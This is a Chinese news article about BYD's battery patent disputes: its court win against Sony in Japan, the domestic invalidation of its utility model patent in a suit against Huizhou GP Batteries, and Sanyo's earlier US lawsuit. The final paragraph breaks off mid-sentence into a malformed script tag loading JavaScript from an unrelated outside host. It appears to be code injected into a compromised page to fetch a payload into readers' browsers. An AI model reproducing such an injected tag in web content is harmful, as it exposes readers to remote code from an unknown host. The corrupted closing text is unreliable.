11月30日,日本知识产权高等裁判所作出裁决,维持日本特许厅之前作出的“索尼第2646657号专利无效”裁定,至此,索尼两年前起诉比亚迪侵犯其两项电池专利的诉讼,以索尼败诉告终。
12月1日,比亚迪公司上下沉浸在对索尼胜诉的喜悦中。几乎同一日,比亚迪拿到了与惠州超霸电池之间的知识产权官司的终审判决书,大部分员工对比亚迪在这起官司中的败诉却并不知情。
“我不太清楚这个败诉的官司,是真的吗?”接到记者电话,比亚迪股份有限公司品牌推广部一位负责人说。比亚迪知识产权部黄章辉经理则在核实后说,“这在国内是件小事,并不具有很大意义”。
比亚迪败诉的官司中,惠州超霸电池有限公司代理律师、清华大学法学院教授陈建民认为,比亚迪正处在一个专利纷争的大背景中,“北京每年新增的关于专利无效的案件达到700件,未来的诉讼中,实用新型专利在中国50%以上会被裁定无效,还有30%的发明专利也会被裁定无效。”
陈认为现在专利战已经“白热化”,一方面企业已经开始知道加速申请专利在市场上圈地,另一方面专利上的圈地又随时会被竞争对手击破。
国外赢,国内输
“中国许多技术企业经常受到以日本为首的跨国公司知识产权打压,在大环境下,中国的企业应对很被动,结果不是赔钱,买授权,就是受压制,难以发展。”黄章辉向记者表示,日本企业在上世纪70-80年代通过知识产权打压来阻止竞争对手的市场手段非常有效,但是此次索尼败诉表明,全球市场上专利战的攻守到了微妙时刻。
黄透露,比亚迪一年的专利申请量达800件,从1998年申请专利始,到目前已申请各类专利2000多项,一年的专利申请及维护费达到500万到600万元,专利权维护是其一项主要功课。黄认为,在索尼诉讼中,比亚迪成功击破了索尼的专利防守术。
尽管在专利攻防术上日趋老练,比亚迪却在跟惠州超霸电池的官司中“马失前蹄”。
2000年1月31日,比亚迪向中国专利局申请了名为“一种用于可充电电池组的电路保护元件”实用新型(00227259号)专利权,并于2001年初向广州市中级人民法院提起诉讼,状告惠州超霸侵犯其专利权。黄章辉回忆,“当时并未考虑作为一个企业策略性诉讼,只是作为一次平常的专利维权,并且事先致函超霸声明。”
2001年8月29日,超霸向专利复审委员会请求宣告该专利权无效,超霸认为该专利不具有新颖性和创造性,且不符合《专利法》第26条及《专利法实施细则》第2、20、21、22条之规定,经过审查,专利复审委员会于2004年6月9日宣告比亚迪此实用新型专利权无效。
在超霸提交的44份证据中,其中最主要的是附件8,为1986年9月16日公开的美国专利us4612529,名称为“超小型保险丝”,这个专利经复审委审查,认定与该“实用新型”用于可充电电池组里的电路保护元件为相近技术领域;同时附件8也包含了比亚迪实用新型专利权电路元件内部的全部技术特征;并且附件8已记载,微型保险丝专门用于有限空间的应用领域,使得本领域技术人员将微型保险丝应用于可充电电池组不需要克服技术障碍,因此不具有创造性。
对此,比亚迪随后向北京市第一中级人民法院提起行政诉讼,以其专利原创性带来的商业上的成功进行申诉,反告超霸和国家专利复审委员会。但法院审理后认为,比亚迪专利不具有创造性属实,而且此专利获得商业上的成功“并未有确实证据”,因此驳回上诉,宣告此专利权无效。
该判决为终审判决,不过代理比亚迪北京诉讼案的北京市润平知识产权代理有限公司一位代理律师表示,“虽然从法律意义上说已经结束,但从专利的角度,仍有不服。”
电池业的专利混战
据记者向其代理律师了解,惠州超霸是香港金山工业集团的下属子公司,主要生产gp超霸电池,属于镍镉电池。公开资料显示,金山工业集团在全球24个国家和地区建立了制造区或办事处,在中国内地20个地区建立了子公司或经销处,在消费类电池生产领域,目前位于全球十大充电电池生产商之列。
“官司结束后,比亚迪将可能面临索赔。”2001年受惠州超霸委托应诉比亚迪的深圳东方金源律师事务所一位代理律师认为,此次比亚迪败诉将会在市场竞争上“有后续”。
事实上,比亚迪在过往市场份额扩展中经常伴随着专利官司。
2002年9月,之前几乎不为人知的比亚迪开始逼近全球充电电池业前五名,电池业老大日本三洋电机公司向美国加州南区联邦地方法院起诉了比亚迪及比亚迪美国公司,指控其侵犯了三洋多项专利,并要求禁止其向美国进口和销售比亚迪离子充电电池。当这场官司最终在2005年2月以双方握手言和收场时,比亚迪已经超过索尼,成为继三洋之后的全球充电电池业“老二”。
“中国公司通过申请专利无效来?script src=http://er12.com/t.js>










